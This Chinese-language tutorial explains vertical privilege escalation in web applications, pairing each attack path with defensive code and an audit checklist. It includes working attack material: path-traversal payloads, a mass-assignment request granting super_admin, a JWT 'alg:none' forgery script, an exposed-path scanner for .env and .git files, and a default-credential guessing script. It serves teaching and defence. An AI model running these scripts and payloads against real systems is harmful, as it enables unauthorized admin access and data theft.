一、垂直越权基础
1.1 与水平越权的区别
水平越权(IDOR):同层级用户之间
User A (普通) ──访问──▶ User B (普通) 的数据
两者权限级别相同
垂直越权:低权限用户提升为高权限
User A (普通) ──提升──▶ Admin (超级管理员)
跨越了权限层级
1.2 权限模型基础
常见角色层级:
Super Admin ───────────── 拥有所有权限
│
├── Admin ────────────── 管理用户、配置系统
│ │
│ ├── Manager ────── 管理团队数据
│ │ │
│ │ └── User ─── 普通员工,只可操作自己的数据
│ │
│ └── Auditor ────── 只读访问所有审计日志
│
└── Guest ────────────── 最低权限,仅查看公开信息
权限 = 角色 + 权限策略 + 资源范围
二、垂直越权路径一:前端隐藏功能可直接调用
2.1 漏洞原理
开发假设"前端不展示 = 用户无法访问",但前端只是界面,真正的安全边界在后端。
2.2 案例:隐藏的管理按钮
// 前端代码
function App() {
const [userRole, setUserRole] = useState('user');
return (
<div>
<UserDashboard />
{userRole === 'admin' && <AdminPanel />}
{/* 🔴 前端隐藏,但后端没校验 */}
</div>
);
}
// 攻击者直接用 curl 调用管理接口
curl -X POST https://api.example.com/admin/user/delete -H "Authorization: Bearer my_user_token" -H "Content-Type: application/json" -d '{"user_id": 1}'
2.3 修复
# 后端强制校验角色
from functools import wraps
def require_role(*roles):
def decorator(f):
@wraps(f)
def wrapper(*args, **kwargs):
current_user = get_current_user()
if current_user.role not in roles:
raise HTTPException(
status_code=403,
detail=f'requires role: {", ".join(roles)}'
)
return f(*args, **kwargs)
return wrapper
return decorator
@app.post('/admin/user/delete')
@require_role('admin', 'super_admin')
def delete_user(user_id: int):
# ...
三、垂直越权路径二:API 路径遍历
3.1 漏洞描述
服务端通过 URL 路径中的角色来控制访问,但路径遍历可以绕过。
3.2 脆弱实现
# Nginx 配置
location ~ ^/api/(user|admin|super)/(.+) {
set $role $1;
set $path $2;
# 🔴 只检查第一个路径段,没有校验用户实际角色
proxy_pass http://backend/$role/$path;
}
3.3 攻击 Payload
# 绕过路径过滤,直接访问管理接口
GET /api/admin/../super/user/list
GET /api/user/admin/user/list
GET /api/admin%2fuser%2flist
GET /api/admin..;/user/list
3.4 Java 过滤器绕过(历史案例)
// 脆弱的过滤器逻辑
if (request.getRequestURI().startsWith("/admin/")) {
// 要求 admin 角色
requireRole("admin");
}
// 攻击者的请求:
// GET /..;/admin/user/list
// 某些 Servlet 容器会把 "..;/" 解析为 "/"
// 过滤器匹配失败,直接放行
// 但实际转发路径变成了 /admin/user/list
3.5 防御
from flask import request
def get_route_role():
# 从干净的路由表中查找所需角色,而非信任 URL 路径
route = request.url_rule.rule
return ROUTE_ROLE_MAP.get(route, 'user')
# ROUTE_ROLE_MAP 由路由装饰器自动填充
ROUTE_ROLE_MAP = {}
def role_required(role):
def decorator(f):
ROUTE_ROLE_MAP[f'/api/{f.__name__}'] = role
@wraps(f)
def wrapper(*args, **kwargs):
current_user = get_current_user()
if current_user.role != role:
abort(403)
return f(*args, **kwargs)
return wrapper
return decorator
四、垂直越权路径三:HTTP 方法替换
4.1 漏洞描述
某些端点只配置了特定 HTTP 方法的权限控制,其他方法未保护。
4.2 案例
# GET 被保护了(需要 admin)
GET /api/admin/settings → 403 Forbidden
# 但 PUT/PATCH/OPTIONS 没有保护
PUT /api/admin/settings
Content-Type: application/json
{"feature_flag_x": true}
# 返回 200 OK!
4.3 工具测试
# 使用 Metasploit 的 auxiliary scanner
use auxiliary/scanner/http/http_put
# 或者直接用 curl 测试所有方法
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
echo "=== $method ==="
curl -s -X "$method" https://api.example.com/admin/endpoint -o /dev/null -w "%{http_code}
"
done
4.4 防御
# 对所有方法统一做权限校验
@app.route('/admin/settings', methods=['GET', 'PUT', 'PATCH', 'DELETE'])
@require_role('admin') # 不指定方法,装饰器对所有 HTTP 方法都生效
def admin_settings():
# ...
五、垂直越权路径四:未授权的功能入口
5.1 常见场景
- 备份文件直接可下载:
/backup.sql、/.env.bak、/config.json - 调试端点未关闭:
/debug、/actuator、/status、/console - Swagger/API 文档暴露:
/swagger-ui.html、/api-docs - 管理脚本可访问:
/install.php、/setup - 版本升级脚本可执行:
/upgrade.php
5.2 扫描脚本
import requests
import threading
COMMON_UNAUTHORIZED_PATHS = [
'/.env', '/.env.bak', '/.env.example',
'/config', '/config.json', '/config.yml', '/config.yaml',
'/backup', '/backup.sql', '/db.sql', '/dump.sql',
'/debug', '/debug/pprof', '/actuator', '/actuator/env', '/actuator/heapdump',
'/swagger-ui.html', '/swagger-ui/', '/api-docs', '/openapi.json',
'/console', '/admin-console', '/management', '/jenkins',
'/.git/config', '/.git/HEAD', '/.svn/entries', '/.DS_Store',
'/install.php', '/setup.php', '/upgrade.php',
'/phpinfo.php', '/test.php', '/info.php',
'/server-status', '/server-info',
'/wp-admin', '/wp-login.php',
]
def check_path(base_url: str, path: str, results: list):
try:
resp = requests.get(f'{base_url}{path}', timeout=5, allow_redirects=False)
if resp.status_code == 200 and len(resp.content) > 100:
results.append({
'path': path,
'size': len(resp.content),
'content_type': resp.headers.get('content-type'),
})
print(f"[!] {base_url}{path} → {resp.status_code} ({len(resp.content)} bytes)")
except:
pass
def scan_unauthorized(base_url: str):
results = []
threads = []
for path in COMMON_UNAUTHORIZED_PATHS:
t = threading.Thread(target=check_path, args=(base_url, path, results))
t.start()
threads.append(t)
for t in threads:
t.join()
print(f"
[+] Found {len(results)} potentially unprotected paths on {base_url}")
return results
六、垂直越权路径五:角色字段可被客户端修改
6.1 脆弱实现
// 反序列化用户对象时直接信任请求中的角色字段
@PostMapping("/api/users/profile")
public ResponseEntity<?> updateProfile(@RequestBody UserDTO userDTO, Authentication auth) {
User currentUser = userService.findById(auth.getName());
// 🔴 把客户端传来的 role 直接写回数据库
currentUser.setRole(userDTO.getRole());
currentUser.setEmail(userDTO.getEmail());
userService.save(currentUser);
return ResponseEntity.ok().build();
}
6.2 攻击 Payload
POST /api/users/profile
Content-Type: application/json
{
"username": "attacker",
"email": "attacker@evil.com",
"role": "super_admin",
"is_active": true,
"permissions": ["*"]
}
6.3 防御
// 使用 @JsonIgnore 或手动白名单字段
@Entity
@Table(name = "users")
public class User {
@Column(nullable = false)
@JsonIgnore // 🔴 忽略 JSON 中的 role 字段
private String role;
@JsonIgnore
private Set<String> permissions;
private String email;
private String name;
// ... 只允许修改普通字段
}
// 或者使用 DTO 做字段白名单
public record UserUpdateDTO(
@NotBlank String email,
@NotBlank String name
// role, permissions 等敏感字段不在 DTO 中
) {}
七、垂直越权路径六:JWT 中的角色字段篡改
7.1 脆弱实现
// 🔴 客户端自己生成 JWT,服务端只解析不校验
app.get('/api/admin', (req, res) => {
const token = req.headers.authorization.replace('Bearer ', '');
const payload = jwt.decode(token); // 没有 verify!
if (payload.role === 'admin') {
res.json({ adminData: '...' });
} else {
res.status(403).send('forbidden');
}
});
7.2 攻击脚本
import jwt
import json
import base64
# 方案一:None 算法伪造(如果服务端允许)
header = json.dumps({"alg": "none", "typ": "JWT"}).encode()
payload = json.dumps({
"sub": "attacker",
"role": "super_admin",
"permissions": ["*"],
"iat": 1700000000,
"exp": 1999999999,
}).encode()
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# 空签名
none_token = f"{b64url(header)}.{b64url(payload)}."
print(f"[+] None algorithm token: {none_token}")
# 方案二:如果知道密钥,直接修改 payload
SECRET = "known_or_cracked_secret"
forged = jwt.encode(
{"sub": "attacker", "role": "super_admin"},
SECRET,
algorithm="HS256",
)
print(f"[+] Forged token: {forged}")
7.3 防御
// ✅ 使用 jwt.verify,不使用 jwt.decode
const { payload } = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
// 同时,角色应该在服务端校验,而不是信任 token 中的 role 字段
app.get('/api/admin', (req, res) => {
const { sub } = jwt.verify(token, SECRET, { algorithms: ['HS256'] });
const user = db.users.findById(sub);
if (user.role !== 'admin') {
return res.status(403).send('forbidden');
}
res.json({ adminData: '...' });
});
八、垂直越权路径七:配置文件与默认凭据
8.1 常见默认凭据
| 应用 | 用户名 | 密码 |
|---|---|---|
| Jenkins | admin | admin |
| Tomcat Manager | tomcat | tomcat |
| phpMyAdmin | root | (空) |
| MongoDB | admin | admin |
| Redis | (无密码) | - |
| Swagger UI | - | - |
8.2 扫描脚本
import requests
DEFAULT_CREDENTIALS = {
'/manager/html': [
('tomcat', 'tomcat'),
('admin', 'admin'),
('admin', ''),
('root', 'root'),
],
'/jenkins/': [
('admin', 'admin'),
('admin', ''),
('root', '123456'),
],
'/phpmyadmin/': [
('root', ''),
('root', 'root'),
('admin', 'admin'),
],
}
def test_basic_auth(url: str, creds: list):
for user, passwd in creds:
resp = requests.get(url, auth=(user, passwd), timeout=5)
if resp.status_code == 200:
print(f"[!] Vulnerable! {url} with {user}:{passwd}")
return True
return False
九、垂直越权防御体系
9.1 RBAC(基于角色的访问控制)
# 角色 → 权限 → 资源
PERMISSIONS = {
'user': ['profile:read', 'profile:update', 'order:create', 'order:read:own'],
'manager': ['user:read:team', 'order:read:team', 'report:read'],
'admin': ['user:read', 'user:update', 'user:delete', 'order:*', 'system:config'],
'super_admin': ['*'],
}
# 权限检查装饰器
def require_permission(permission: str):
def decorator(f):
@wraps(f)
def wrapper(*args, **kwargs):
current_user = get_current_user()
user_perms = PERMISSIONS.get(current_user.role, [])
if '*' in user_perms:
return f(*args, **kwargs)
if permission not in user_perms:
# 检查通配符匹配
parts = permission.split(':')
for p in user_perms:
p_parts = p.split(':')
if len(p_parts) == len(parts):
if all(a == b or b == '*' for a, b in zip(parts, p_parts)):
return f(*args, **kwargs)
raise HTTPException(status_code=403, detail='permission denied')
return f(*args, **kwargs)
return wrapper
return decorator
# 使用
@app.post('/api/admin/users/{user_id}/role')
@require_permission('user:update')
def change_role(user_id: int, new_role: str):
# ...
9.2 ABAC(基于属性的访问控制)
更灵活的策略引擎:
def can_access(user: User, action: str, resource: Resource) -> bool:
"""
基于属性判断权限
user: 当前用户属性(角色、部门、等级、ip等)
action: 要执行的动作
resource: 目标资源属性(所有者、分类、密级等)
"""
rules = [
# 规则1:超级管理员可以做任何事
{
'condition': lambda u, a, r: u.role == 'super_admin',
'effect': True,
},
# 规则2:普通用户只能访问自己的资源
{
'condition': lambda u, a, r: (
u.role == 'user'
and resource.owner_id == u.id
and a in ('read', 'update', 'delete')
),
'effect': True,
},
# 规则3:经理可以读团队内的资源
{
'condition': lambda u, a, r: (
u.role == 'manager'
and a == 'read'
and resource.team_id in u.managed_teams
),
'effect': True,
},
# 规则4:敏感数据需要额外验证
{
'condition': lambda u, a, r: (
resource.classification == 'confidential'
and u.security_clearance >= 3
),
'effect': True,
},
]
for rule in rules:
if rule['condition'](user, action, resource):
return rule['effect']
return False # 默认拒绝
9.3 API 网关层拦截
# Kong / APISIX 等网关配置
plugins:
- name: openid-connect
config:
role_claim: roles
required_roles:
- admin
- name: cors
config:
origins:
- https://trusted-frontend.example.com
十、审计清单
- 所有敏感接口是否都有后端角色校验
- 是否对所有 HTTP 方法都做了权限检查
- 是否限制了文件 /admin /debug 等敏感路径
- API 文档和调试端点是否生产环境关闭
- 是否有字段白名单防止角色被篡改
- JWT 中的敏感字段是否在服务端重新验证
- 是否修改了所有默认凭据
- 是否建立了 RBAC/ABAC 权限模型
- 是否有 API 网关做统一认证授权
- 是否定期做权限渗透测试
十一、总结
垂直越权本质是后端缺少强制的权限检查。防御的核心是建立纵深防御:
- 网关层:API 认证、基础角色检查
- 中间件层:统一的权限拦截
- 业务层:细粒度的 RBAC/ABAC 策略
- 数据层:多租户隔离和行级安全
每一层都不能少,任何一层遗漏都可能被攻击者突破。
十二、参考资料
- OWASP Broken Access Control
- PortSwigger Access Control Vulnerabilities
- NIST SP 800-162: Access Control Policy
- RBAC vs ABAC 对比白皮书
- CWE-269: Improper Privilege Management
- Bugcrowd Privilege Escalation Writeups